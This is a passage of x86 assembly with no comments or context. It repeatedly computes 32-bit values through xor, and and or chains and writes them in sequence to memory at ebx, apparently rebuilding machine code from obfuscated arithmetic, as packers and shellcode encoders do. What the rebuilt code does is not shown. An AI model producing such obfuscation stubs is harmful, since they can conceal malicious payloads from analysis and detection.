mov dword [ebx], eax
add ebx, edx
xor eax, 0x598564d2
and eax, 0x40090040
or eax, 0xd32c80d
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7d6d0c9d
and eax, 0x4490
or eax, 0x8b093920
mov dword [ebx], eax
add ebx, edx
or eax, 0x6ec8b769
and eax, 0xea81cc51
or eax, 0x20004
mov dword [ebx], eax
add ebx, edx
or eax, 0x728df62d
and eax, 0xc8058801
or eax, 0x4500100
mov dword [ebx], eax
add ebx, edx
or eax, 0x695f0137
and eax, 0x47987588
and eax, 0x1180100
or eax, 0x3ac0448b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x44df8661
and eax, 0x1b382e34
and eax, 0x8000000
or eax, 0x7df845
mov dword [ebx], eax
add ebx, edx
and eax, 0x40b0d744
and eax, 0x62220047
and eax, 0
or eax, 0x3bc84d8b
mov dword [ebx], eax
add ebx, edx
or eax, 0x516684c5
or eax, 0x45a9d0f
and eax, 0x307ccc4d
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x23bfc747
or eax, 0x139bde36
and eax, 0x1e8550b
or eax, 0x88000080
mov dword [ebx], eax
add ebx, edx
and eax, 0x4a4588ab
xor eax, 0x55a9d611
and eax, 0x45899010
or eax, 0x20845
mov dword [ebx], eax
add ebx, edx
and eax, 0x4abf09fd
and eax, 0x482aa8a7
and eax, 0x804
or eax, 0x944581e8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x217d9717
or eax, 0x3d6a9e99
and eax, 0x81680c8b
or eax, 0x2804100
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5abfecb3
xor eax, 0x34efa4a4
and eax, 0x4d880180
or eax, 0x10041
mov dword [ebx], eax
add ebx, edx
and eax, 0x62d3232f
and eax, 0x10100
or eax, 0x98548ae8
mov dword [ebx], eax
add ebx, edx
or eax, 0x26063c83
and eax, 0x3c14152b
or eax, 0x40804010
mov dword [ebx], eax
add ebx, edx
xor eax, 0x683d7d5b
and eax, 0x14010800
or eax, 0xe8448313
mov dword [ebx], eax
add ebx, edx
xor eax, 0x72ab14e2
and eax, 0x84448f01
or eax, 0x6001200e
mov dword [ebx], eax
add ebx, edx
xor eax, 0x472e3bea
and eax, 0x618085
or eax, 0x8144000
mov dword [ebx], eax
add ebx, edx
or eax, 0x13aff2c6
or eax, 0x5b7870c1
and eax, 0x3b04083
or eax, 0x20000d08
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1aaa0f89
and eax, 0x9104000
or eax, 0x64944d
mov dword [ebx], eax
add ebx, edx
and eax, 0x414990e6
and eax, 0x1401000
or eax, 0x82ac458b
mov dword [ebx], eax
add ebx, edx
and eax, 0x693cf3e2
xor eax, 0x792b7e95
and eax, 0x50010102
or eax, 0x58800c0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x227c8a01
and eax, 0x64458bc0
or eax, 0x8000002c
mov dword [ebx], eax
add ebx, edx
and eax, 0x74e32b57
xor eax, 0x7cbb7c30
and eax, 0x10d84530
or eax, 0x65000003
mov dword [ebx], eax
add ebx, edx
or eax, 0x6455fa5b
and eax, 0x344d8b18
or eax, 0x88000004
mov dword [ebx], eax
add ebx, edx
or eax, 0x6988dd2c
xor eax, 0x43ca230c
and eax, 0x34044c30
or eax, 0x41c80103
mov dword [ebx], eax
add ebx, edx
or eax, 0x6f437a20
and eax, 0x48450b10
or eax, 0x80108004
mov dword [ebx], eax
add ebx, edx
and eax, 0x116cf1a1
and eax, 0x400100
or eax, 0x7db8543b
mov dword [ebx], eax
add ebx, edx
or eax, 0x3b2a8646
or eax, 0x1bb8914d
and eax, 0x70408315
or eax, 0x80050800
mov dword [ebx], eax
add ebx, edx
xor eax, 0x56e8aa3e
or eax, 0x42a9648c
and eax, 0xe005250f
or eax, 0x8408a00
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4ae2c5a3
and eax, 0x629b324a
and eax, 0x20800008
or eax, 0x5d7c4533
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4141087b
and eax, 0x280d0900
or eax, 0xc0408209
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4adc21fd
or eax, 0x7c7a623d
and eax, 0x8801c081
or eax, 0x1000102
mov dword [ebx], eax
add ebx, edx
and eax, 0x3e491b8d
and eax, 0x8010001
or eax, 0xa2e8e84c
mov dword [ebx], eax
add ebx, edx
or eax, 0x58efc1b
and eax, 0x38f6b6db
and eax, 0x8e6b45a
or eax, 0x83194ba4
mov dword [ebx], eax
add ebx, edx
and eax, 0x17313b5d
or eax, 0xe9fb54a
and eax, 0xa83b854
or eax, 0xe0004001
mov dword [ebx], eax
add ebx, edx
or eax, 0x4ac7e352
and eax, 0xe8458901
or eax, 0x10100000
mov dword [ebx], eax
add ebx, edx
or eax, 0x4df003c0
and eax, 0x3108c0
or eax, 0x81028
mov dword [ebx], eax
add ebx, edx
or eax, 0x54113efa
and eax, 0x10010a00
or eax, 0x448100
mov dword [ebx], eax
add ebx, edx
and eax, 0x7e1b870b
and eax, 0x1e166be
and eax, 0
or eax, 0x144535
mov dword [ebx], eax
add ebx, edx
or eax, 0x38a1ebd3
and eax, 0xb83c73a
and eax, 0x800500
or eax, 0xd15a3000
mov dword [ebx], eax
add ebx, edx
or eax, 0x1a490787
xor eax, 0xa61e264
and eax, 0xb80000
or eax, 0x22010000
mov dword [ebx], eax
add ebx, edx
and eax, 0x8f36be0
and eax, 0x39638d69
and eax, 0
or eax, 0x2b00005a
mov dword [ebx], eax
add ebx, edx
and eax, 0x7912e95f
xor eax, 0x7b9e702a
and eax, 0x50800040
or eax, 0xa1010c0d
mov dword [ebx], eax
add ebx, edx
and eax, 0x38b0ada1
or eax, 0x4fa89863
and eax, 0x7fa88420
or eax, 0x80572310
mov dword [ebx], eax
add ebx, edx
or eax, 0x3d77c3d7
and eax, 0x1e788180
or eax, 8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3840c765
and eax, 0x4080000
or eax, 0x51830000
mov dword [ebx], eax
add ebx, edx
xor eax, 0xe72d788
xor eax, 0x4a8b0703
and eax, 0x1428008
or eax, 0x44800114
mov dword [ebx], eax
add ebx, edx
and eax, 0x638b8dea
or eax, 0x6052a3fd
and eax, 0x1000085
or eax, 0x80000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x4a7c1e00
xor eax, 0x4c56f604
and eax, 0x28c880
or eax, 0xd41772
mov dword [ebx], eax
add ebx, edx
or eax, 0x758da4f5
and eax, 0x311d10ea
and eax, 0x101d1000
or eax, 0x4c60a800
mov dword [ebx], eax
add ebx, edx
and eax, 0x7a91385
and eax, 0x5b9b1f9
and eax, 0x4290000
or eax, 0x41020000
mov dword [ebx], eax
add ebx, edx
or eax, 0x25f560f1
and eax, 0x46efdd9d
and eax, 0x40c70000
or eax, 0x13103508
mov dword [ebx], eax
add ebx, edx
or eax, 0x5435203e
and eax, 0x10800000
or eax, 0x80080000
mov dword [ebx], eax
add ebx, edx
and eax, 0x10ef59e9
and eax, 0x7bf82e23
and eax, 0
or eax, 0x1e78
mov dword [ebx], eax
add ebx, edx
or eax, 0x95081bb
or eax, 0x1c0a5954
and eax, 0x1084d8b
or eax, 0x80040000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x34fd3c81
and eax, 0x416108
or eax, 0x880c1
mov dword [ebx], eax
add ebx, edx
or eax, 0x2843f159
and eax, 0x7d6fa1d
and eax, 0x408000
or eax, 0x93810100
mov dword [ebx], eax
add ebx, edx
or eax, 0x7cf646ec
and eax, 0x118c5e86
and eax, 0x1000004
or eax, 0x80000020
mov dword [ebx], eax
add ebx, edx
xor eax, 0x31f7c3a3
and eax, 0x500181
or eax, 0x44001870
mov dword [ebx], eax
add ebx, edx
and eax, 0x672529b1
xor eax, 0x31707548
and eax, 0x10500868
or eax, 0x8058306
mov dword [ebx], eax
add ebx, edx
or eax, 0x1f34af3c
and eax, 0x1b54a200
or eax, 0xa0885081
mov dword [ebx], eax
add ebx, edx
and eax, 0x24f9b1e1
xor eax, 0x28f579f8
and eax, 0x8010000
or eax, 0xc2800000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3afc7b6
and eax, 0xc1a6
or eax, 0x49
mov dword [ebx], eax
add ebx, edx
or eax, 0x3696bf05
or eax, 0x27e2d034
and eax, 0x35e2f281
or eax, 0xc0090000
mov dword [ebx], eax
add ebx, edx
or eax, 0x732f4855
and eax, 0x82890000
or eax, 0x8000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x6b40211d
and eax, 0x18
or eax, 0x1e60
mov dword [ebx], eax
add ebx, edx
and eax, 0x3834e6e0
and eax, 0x400
or eax, 0x51c418b
mov dword [ebx], eax
add ebx, edx
or eax, 0x1ed6ba72
and eax, 0x973b
or eax, 4
mov dword [ebx], eax
add ebx, edx
and eax, 0x50f28491
xor eax, 0x2ab2115
and eax, 0xa8004
or eax, 0x1044231
mov dword [ebx], eax
add ebx, edx
and eax, 0xca4bc69
and eax, 0x48000
or eax, 0x7ae93900
mov dword [ebx], eax
add ebx, edx
and eax, 0x78947c66
xor eax, 0x2c8c67d5
and eax, 0x44080000
or eax, 0x9230000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7f3a241b
and eax, 0x32110008
or eax, 0x41e08100
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6c107b03
xor eax, 0x2dde6c4
and eax, 0x1000080
or eax, 0x80000020
mov dword [ebx], eax
add ebx, edx
or eax, 0x7ecbab50
and eax, 0xc223f0
or eax, 0x101401
mov dword [ebx], eax
add ebx, edx
xor eax, 0x12739062
and eax, 0x10818000
or eax, 0x68000800
mov dword [ebx], eax
add ebx, edx
or eax, 0x2c93d802
xor eax, 0x36d9d790
and eax, 0xa000012
or eax, 0x8100000c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x8e3a5d1
or eax, 0x35da695
and eax, 0x82810055
or eax, 0x70001800
mov dword [ebx], eax
add ebx, edx
or eax, 0x71049127
xor eax, 0x157628e8
and eax, 0xa002
or eax, 0xc60
mov dword [ebx], eax
add ebx, edx
or eax, 0x373830c5
and eax, 0x30288881
or eax, 0x88844200
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7c1871e2
and eax, 0xc0800000
or eax, 0x32010000
mov dword [ebx], eax
add ebx, edx
and eax, 0x537913f1
and eax, 0
or eax, 0xfa8d
mov dword [ebx], eax
add ebx, edx
and eax, 0xc35ee86
and eax, 0x4080
or eax, 0x514050b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x69ac569c
and eax, 0x106
or eax, 0x6c80
mov dword [ebx], eax
add ebx, edx
xor eax, 0xfbac763
and eax, 0x922225
or eax, 0x404010
mov dword [ebx], eax
add ebx, edx
and eax, 0x77ee629c
and eax, 0x775c6021
and eax, 0
or eax, 0x78908800
mov dword [ebx], eax
add ebx, edx
or eax, 0x78ba6497
and eax, 0x30ea38d
and eax, 4
or eax, 0x8b00001a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x38ccdeab
and eax, 0x59f13c16
and eax, 0x1801804
or eax, 0xc0010049
mov dword [ebx], eax
add ebx, edx
or eax, 0x147d06b8
or eax, 0x64b0556b
and eax, 0x5606
or eax, 0x8000
mov dword [ebx], eax
add ebx, edx
and eax, 0x17d541d
and eax, 0x5000
or eax, 0x24e8a181
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7dcab4ba
and eax, 0x51020001
or eax, 0x4890000
mov dword [ebx], eax
add ebx, edx
and eax, 0x7db63e0b
xor eax, 0x1a041476
and eax, 0x41820010
or eax, 0x10608108
mov dword [ebx], eax
add ebx, edx
or eax, 0x12b7eae7
and eax, 0x555cbec6
and eax, 0x10000c2
or eax, 0x80000021
mov dword [ebx], eax
add ebx, edx
and eax, 0x78bba8d
or eax, 0x560bcc4a
and eax, 0xccc2
or eax, 0x840030
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3b820b26
and eax, 0x39028100
or eax, 0x40e80000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4006bc11
xor eax, 0x5f15e17d
and eax, 0x20
or eax, 0x81000013
mov dword [ebx], eax
add ebx, edx
and eax, 0x62b0414d
and eax, 0
or eax, 0x936af2
mov dword [ebx], eax
add ebx, edx
xor eax, 0x325979d7
and eax, 0x308a0000
or eax, 0x48008800
mov dword [ebx], eax
add ebx, edx
or eax, 0x42c1733e
and eax, 0x6800001e
or eax, 0x80000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x1dad9423
and eax, 0x11031
or eax, 0x6a00
mov dword [ebx], eax
add ebx, edx
xor eax, 0x13a80d1c
and eax, 0x13a04509
or eax, 0x28540082
mov dword [ebx], eax
add ebx, edx
or eax, 0x257a8097
and eax, 0x87cc005
or eax, 0x13040
mov dword [ebx], eax
add ebx, edx
and eax, 0x575cffb7
or eax, 0x5fb5304
and eax, 0x1b04101
or eax, 0x2000c8a
mov dword [ebx], eax
add ebx, edx
and eax, 0xb43aa0c
and eax, 0x1000808
or eax, 0x1875c445
mov dword [ebx], eax
add ebx, edx
and eax, 0x59f26d04
and eax, 0x19504400
or eax, 0x2288118b
mov dword [ebx], eax
add ebx, edx
or eax, 0x3fa54740
xor eax, 0x3d07a719
and eax, 0x78e050
or eax, 0x11040005
mov dword [ebx], eax
add ebx, edx
or eax, 0x6479f1b
and eax, 0x354450b
or eax, 0x80800080
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6a29d241
and eax, 0x418901c8
or eax, 0x4000020
mov dword [ebx], eax
add ebx, edx
xor eax, 0x73bc8a7d
xor eax, 0x4b582016
and eax, 0x7c4d8b80
or eax, 0x80000054
mov dword [ebx], eax
add ebx, edx
and eax, 0x7b93b0e1
and eax, 0x70000000
or eax, 0x4d44d0b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x60dcacf7
xor eax, 0x48dc9845
and eax, 0x54540909
or eax, 0xa0018200
mov dword [ebx], eax
add ebx, edx
and eax, 0x249a63ab
and eax, 0x201
or eax, 0x8901e882
mov dword [ebx], eax
add ebx, edx
or eax, 0xd7efe49
or eax, 0x5421d021
and eax, 0x450bf441
or eax, 0x800014
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1b4aa8cb
and eax, 0x5e411408
or eax, 0x812e2100
mov dword [ebx], eax
add ebx, edx
or eax, 0x24160aa3
or eax, 0x7fd0fe07
and eax, 0x99350000
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x19e85b33
and eax, 0x89545032
or eax, 0x2002480
mov dword [ebx], eax
add ebx, edx
xor eax, 0x84ea50e
xor eax, 0x70e12c4a
and eax, 0xc1811444
or eax, 9
mov dword [ebx], eax
add ebx, edx
or eax, 0x373d5169
and eax, 0x15425
or eax, 0x8292
mov dword [ebx], eax
add ebx, edx
and eax, 0x6f4384aa
and eax, 0x8080
or eax, 0x3b9c7101
mov dword [ebx], eax
add ebx, edx
or eax, 0x44c5bce3
and eax, 0x78ee9502
and eax, 0x880002
or eax, 0x81010000
mov dword [ebx], eax
add ebx, edx
and eax, 0x468b6828
and eax, 0
or eax, 0x1e78
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4a53dad5
and eax, 0x104489
or eax, 0x81041102
mov dword [ebx], eax
add ebx, edx
or eax, 0x4d9f5e9e
and eax, 0x21003372
and eax, 0x1102
or eax, 0x5be8e0
mov dword [ebx], eax
add ebx, edx
or eax, 0xc851f54
and eax, 0xc28100
or eax, 0x3000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x2073e985
and eax, 0x1000005
or eax, 0x80000012
mov dword [ebx], eax
add ebx, edx
or eax, 0x3544bac8
and eax, 0x4498d2
or eax, 0x134020
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3724ae39
and eax, 0x410200
or eax, 0x8048900
mov dword [ebx], eax
add ebx, edx
or eax, 0x35a2b72a
or eax, 0x57612c60
and eax, 0x623d20
or eax, 0x84005
mov dword [ebx], eax
add ebx, edx
and eax, 0xac4b4cc
and eax, 0x400400
or eax, 0x162b0100
mov dword [ebx], eax
add ebx, edx
and eax, 0x71a0ad33
and eax, 0x10200000
or eax, 0x8d150000
mov dword [ebx], eax
add ebx, edx
and eax, 0x2f4e0a82
or eax, 0x68b392c0
and eax, 0x8000000
or eax, 0x8000001e
mov dword [ebx], eax
add ebx, edx
xor eax, 0x498f3fc9
and eax, 0xe3890
or eax, 0x104000
mov dword [ebx], eax
add ebx, edx
and eax, 0x7153c72
and eax, 0x40800
or eax, 0xdc498300
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5d36b1dc
and eax, 0x2cfc13af
and eax, 0x100088
or eax, 0x8b804d01
mov dword [ebx], eax
add ebx, edx
xor eax, 0x63a39fb2
and eax, 0x76f5189f
and eax, 0x40010011
or eax, 0x1588e044
mov dword [ebx], eax
add ebx, edx
or eax, 0x552ee886
and eax, 0x54058884
or eax, 0x88400308
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7c466707
and eax, 0x8001c083
or eax, 0x9000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5ea0745a
or eax, 0x9413d3d
and eax, 0x4d819c45
or eax, 0xa4000
mov dword [ebx], eax
add ebx, edx
and eax, 0x668ed72b
or eax, 0x416aba22
and eax, 0x4483a00
or eax, 0x88050190
mov dword [ebx], eax
add ebx, edx
and eax, 0x1dba8f21
xor eax, 0x52233c9e
and eax, 0x540b221c
or eax, 0x1800861
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6982a06d
and eax, 0x14090a10
or eax, 0x41a605ec
mov dword [ebx], eax
add ebx, edx
or eax, 0x71047b19
and eax, 0x509f0
or eax, 0x88508000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5a22f43e
xor eax, 0x662f6115
and eax, 0x8050048b
or eax, 0x9844100
mov dword [ebx], eax
add ebx, edx
and eax, 0x3d9dfe00
and eax, 0x670b6be6
and eax, 0x1000000
or eax, 0x4c8b8445
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6d19da65
or eax, 0x6715e731
and eax, 0x1818330
or eax, 0x4000c0
mov dword [ebx], eax
add ebx, edx
and eax, 0xb0e0eb3
and eax, 0x1000080
or eax, 0x8af04d09
mov dword [ebx], eax
add ebx, edx
or eax, 0x22783bbf
and eax, 0x1380815
or eax, 0x54038040
mov dword [ebx], eax
add ebx, edx
and eax, 0x400cf198
and eax, 0x544486a3
and eax, 0
or eax, 0x8b097d84
mov dword [ebx], eax
add ebx, edx
and eax, 0x23d6b413
or eax, 0x286d7b8c
and eax, 0x28017804
or eax, 0xc0828041
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5eec60c1
and eax, 0xb0458800
or eax, 0x48000101
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1c1bedf7
and eax, 0x5c24e0
or eax, 0x819008
mov dword [ebx], eax
add ebx, edx
and eax, 0x187f95da
and eax, 0x5d045d97
and eax, 0x40000
or eax, 0xf4498b00
mov dword [ebx], eax
add ebx, edx
or eax, 0x403b7226
and eax, 0x80504922
or eax, 0x9800401
mov dword [ebx], eax
add ebx, edx
xor eax, 0x24cb3d9f
and eax, 0x50b000c
or eax, 0x50808041
mov dword [ebx], eax
add ebx, edx
and eax, 0x51bb0a96
xor eax, 0x14637b0c
and eax, 0x44800900
or eax, 0x381580c4
mov dword [ebx], eax
add ebx, edx
and eax, 0xce652a9
and eax, 0x8840080
or eax, 0x837bff7f
mov dword [ebx], eax
add ebx, edx
xor eax, 0x51479887
and eax, 0xc8804040
or eax, 0x20039005
mov dword [ebx], eax
add ebx, edx
or eax, 0x68cb21bb
and eax, 0xc0418101
or eax, 0x10040800
mov dword [ebx], eax
add ebx, edx
and eax, 0x5410518b
xor eax, 0x3c748ad7
and eax, 0x28000982
or eax, 0x13804409
mov dword [ebx], eax
add ebx, edx
xor eax, 0x268e906b
and eax, 0x1d0e5c80
or eax, 0xe2f1200d
mov dword [ebx], eax
add ebx, edx
or eax, 0x102889fa
and eax, 0x7bc4e649
and eax, 0xb406449
or eax, 0x801a18b6
mov dword [ebx], eax
add ebx, edx
or eax, 0x3797c341
xor eax, 0x469703a9
and eax, 0x9108bc54
or eax, 0x4810001
mov dword [ebx], eax
add ebx, edx
or eax, 0x4ddcac4f
xor eax, 0x1f325b80
and eax, 0xc2efe758
or eax, 0x3d101820
mov dword [ebx], eax
add ebx, edx
and eax, 0x30303d78
and eax, 0x200508
or eax, 0x89cc4083
mov dword [ebx], eax
add ebx, edx
xor eax, 0x86c0869
and eax, 0x81804480
or eax, 0x7e7f3005
mov dword [ebx], eax
add ebx, edx
or eax, 0x20b6a29d
and eax, 0x34e63755
and eax, 0x34440215
or eax, 0x880989ea
mov dword [ebx], eax
add ebx, edx
xor eax, 0x447e25fd
xor eax, 0x6d927780
and eax, 0x8101c982
or eax, 0x8002001
mov dword [ebx], eax
add ebx, edx
xor eax, 0xa888d37
and eax, 0x81892404
or eax, 0x14029849
mov dword [ebx], eax
add ebx, edx
xor eax, 0x11b909d8
and eax, 0x8432b510
or eax, 0x7bcd4a68
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6d13eb5d
and eax, 0x92641421
or eax, 0x6d10811a
mov dword [ebx], eax
add ebx, edx
and eax, 0x73eb6841
and eax, 0x31600001
or eax, 0x1cfffe
mov dword [ebx], eax
add ebx, edx
or eax, 0x1da5140a
and eax, 0x1162564d
and eax, 0x11604409
or eax, 0x2a840182
mov dword [ebx], eax
add ebx, edx
or eax, 0x70c87f6
and eax, 0x296cc445
or eax, 0x103800
mov dword [ebx], eax
add ebx, edx
and eax, 0x332d3e39
xor eax, 0x542f4715
and eax, 0x1004900
or eax, 0x88d8048b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4d83736
and eax, 0x8d00708d
or eax, 0x72ff0000
mov dword [ebx], eax
add ebx, edx
and eax, 0x12bf14d3
and eax, 0x10150081
or eax, 0xe8408b7e
mov dword [ebx], eax
add ebx, edx
and eax, 0x5c5f0230
and eax, 0x58440000
or eax, 0xa7289589
mov dword [ebx], eax
add ebx, edx
and eax, 0x1048cf7d
or eax, 0x14d55bd4
and eax, 0x489dfdd
or eax, 0x41022022
mov dword [ebx], eax
add ebx, edx
or eax, 0x7bc8597b
xor eax, 0xa7ee705
and eax, 0x18000f8
or eax, 0x408300
mov dword [ebx], eax
add ebx, edx
or eax, 0x730ab571
or eax, 0x7b822783
and eax, 0xbc80589
or eax, 0x80304000
mov dword [ebx], eax
add ebx, edx
or eax, 0x5bb83e3a
and eax, 0xdbf87089
or eax, 0x24070004
mov dword [ebx], eax
add ebx, edx
or eax, 0x66af8a26
and eax, 0x6c8d3aaf
or eax, 0x150
mov dword [ebx], eax
add ebx, edx
and eax, 0x634d4198
or eax, 0x74d2dff6
and eax, 0x74dfdffe
or eax, 0x9202001
mov dword [ebx], eax
add ebx, edx
and eax, 0x3d942798
and eax, 0x34140308
or eax, 0xc0418801
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7b6a08fe
and eax, 0x89018283
or eax, 0x6800
mov dword [ebx], eax
add ebx, edx
or eax, 0x5663dd59
and eax, 0x5820f451
or eax, 0x20980004
mov dword [ebx], eax
add ebx, edx
and eax, 0x136bfaac
xor eax, 0x2d3c5af4
and eax, 0x29000010
or eax, 0xc200000e
mov dword [ebx], eax
add ebx, edx
xor eax, 0x22f6c06e
and eax, 0x688b47c6
and eax, 0x40000000
or eax, 0xa0458b12
mov dword [ebx], eax
add ebx, edx
and eax, 0x13618f19
and eax, 0x18000
or eax, 0x89004083
mov dword [ebx], eax
add ebx, edx
or eax, 0x6d23f49b
and eax, 0x4d03e001
or eax, 0x880044
mov dword [ebx], eax
add ebx, edx
and eax, 0x37bbb549
and eax, 0x1898040
or eax, 0x6003b0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x66107ed1
and eax, 0x3f04d01
or eax, 0x88000088
mov dword [ebx], eax
add ebx, edx
or eax, 0x23bc5327
and eax, 0x88c05da5
or eax, 0x44030040
mov dword [ebx], eax
add ebx, edx
or eax, 0x6fd3487e
and eax, 0xccc04ccc
or eax, 0xc8000
mov dword [ebx], eax
add ebx, edx
and eax, 0x443ca16f
xor eax, 0x244c0a8b
and eax, 0x404088c4
or eax, 0x8c8c4408
mov dword [ebx], eax
add ebx, edx
or eax, 0x4b2bd16b
and eax, 0xcccccccc
or eax, 0
mov dword [ebx], eax
add ebx, edx
xor eax, 0xcccf739
and eax, 0xc00011c4
or eax, 0x2c8b4408
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5a5bad47
and eax, 0x7594b233
and eax, 0x410a003
or eax, 0xc3404c80
mov dword [ebx], eax
add ebx, edx
xor eax, 0x401378c2
xor eax, 0x5af422b2
and eax, 0xc533b441
or eax, 0x84804
mov dword [ebx], eax
add ebx, edx
or eax, 0x7dd08671
or eax, 0x2ff8a898
and eax, 0x45c30000
or eax, 0x40000
mov dword [ebx], eax
add ebx, edx
or eax, 0xa4321ae
and eax, 0x10321a8
or eax, 0x280650
mov dword [ebx], eax
add ebx, edx
or eax, 0x22ac8b33
xor eax, 0x46214534
and eax, 0x6404c200
or eax, 0x90410500
mov dword [ebx], eax
add ebx, edx
or eax, 0x4786f0a4
and eax, 0x8580
or eax, 1
mov dword [ebx], eax
add ebx, edx
or eax, 0x552eaf4
and eax, 0x15045c5
or eax, 0x90a00002
mov dword [ebx], eax
add ebx, edx
and eax, 0x315295aa
xor eax, 0x75670b6
and eax, 0x6000034
or eax, 0xc1000002
mov dword [ebx], eax
add ebx, edx
xor eax, 0x95ffd50
and eax, 0x4613ec44
or eax, 0x10a00001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2f592894
xor eax, 0x704accfb
and eax, 0x1800000
or eax, 0x44470001
mov dword [ebx], eax
add ebx, edx
and eax, 0x70f23029
and eax, 0
or eax, 0x12828e8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x258dc1e6
or eax, 0x69c8ebc5
and eax, 0x6445c300
or eax, 0x80000400
mov dword [ebx], eax
add ebx, edx
and eax, 0x275d8eb5
and eax, 0x4c173459
and eax, 0x400
or eax, 0xda61
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4dc9151b
or eax, 0x69a14050
and eax, 0x25e04142
or eax, 0x82000485
mov dword [ebx], eax
add ebx, edx
or eax, 0xd572ad0
and eax, 0x29e86259
and eax, 0x1000041
or eax, 0xc6000020
mov dword [ebx], eax
add ebx, edx
xor eax, 0x540762ea
or eax, 0x47ca3f15
and eax, 0xc14d5c05
or eax, 0x308040
mov dword [ebx], eax
add ebx, edx
or eax, 0x14787b51
and eax, 0x45450000
or eax, 0x820000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x79fdb39d
and eax, 0x302298
or eax, 0x1040040
mov dword [ebx], eax
add ebx, edx
xor eax, 0x50c58373
and eax, 0x50418100
or eax, 0x84044600
mov dword [ebx], eax
add ebx, edx
and eax, 0x4be0c95f
and eax, 0x100
or eax, 0x134d0
mov dword [ebx], eax
add ebx, edx
or eax, 0x38d72f68
and eax, 0x653d4d0a
and eax, 0x20100500
or eax, 0x1ac040c7
mov dword [ebx], eax
add ebx, edx
xor eax, 0xe149f4b
xor eax, 0x2022c95a
and eax, 0x40000c2
or eax, 0xc3000028
mov dword [ebx], eax
add ebx, edx
xor eax, 0xddd64a4
and eax, 0x2675aa86
and eax, 0x2510004
or eax, 0x2982cc41
mov dword [ebx], eax
add ebx, edx
and eax, 0x256b00d8
and eax, 0x6c80d35
and eax, 0x400000
or eax, 0x45870000
mov dword [ebx], eax
add ebx, edx
and eax, 0x75c0b7e0
and eax, 0x800000
or eax, 0x3f36c8
mov dword [ebx], eax
add ebx, edx
or eax, 0x4f5bb345
and eax, 0x44458700
or eax, 0x80004000
mov dword [ebx], eax
add ebx, edx
and eax, 0x483ba858
xor eax, 0x54ba85bb
and eax, 0x521
or eax, 0xe004
mov dword [ebx], eax
add ebx, edx
or eax, 0x7471446f
and eax, 0x70e49889
and eax, 0x10400001
or eax, 0x8d8045c6
mov dword [ebx], eax
add ebx, edx
xor eax, 0x66d44ade
xor eax, 0x76c5986e
and eax, 0x85000035
or eax, 0x42000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5c607084
xor eax, 0x1d1986ea
and eax, 0x71b441
or eax, 0x20040804
mov dword [ebx], eax
add ebx, edx
xor eax, 0x24c7e25
or eax, 0x6eeb8f31
and eax, 0x44c30001
or eax, 0x1040000
mov dword [ebx], eax
add ebx, edx
or eax, 0x294cb342
and eax, 0x251923e9
and eax, 0x90000
or eax, 0x7650b8
mov dword [ebx], eax
add ebx, edx
or eax, 0x70e30485
and eax, 0x27f3b1d9
and eax, 0x20410000
or eax, 0x9404c700
mov dword [ebx], eax
add ebx, edx
and eax, 0x6b5d0fbc
and eax, 0x7f6dda32
and eax, 0
or eax, 0xbd2b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x26b412a6
or eax, 0x4d5f10b8
and eax, 0x4db00585
or eax, 0x80004042
mov dword [ebx], eax
add ebx, edx
and eax, 0x16348d3f
and eax, 4
or eax, 0x8b0000c8
mov dword [ebx], eax
add ebx, edx
and eax, 0x483ffb48
and eax, 0x8000040
or eax, 0xc4c35da5
mov dword [ebx], eax
add ebx, edx
or eax, 0x5601de1
and eax, 0xccc04cc4
or eax, 0xc8008
mov dword [ebx], eax
add ebx, edx
or eax, 0x77dbb7b6
xor eax, 0x4d9dcd30
and eax, 0x804000cc
or eax, 0x4c8ccc00
mov dword [ebx], eax
add ebx, edx
and eax, 0xf4da090
and eax, 0xc080080
or eax, 0xe083554c
mov dword [ebx], eax
add ebx, edx
and eax, 0x6d39e7ae
and eax, 0x4480
or eax, 0x110a801
mov dword [ebx], eax
add ebx, edx
or eax, 0x721027bd
and eax, 0x41000000
or eax, 0x4c70000
mov dword [ebx], eax
add ebx, edx
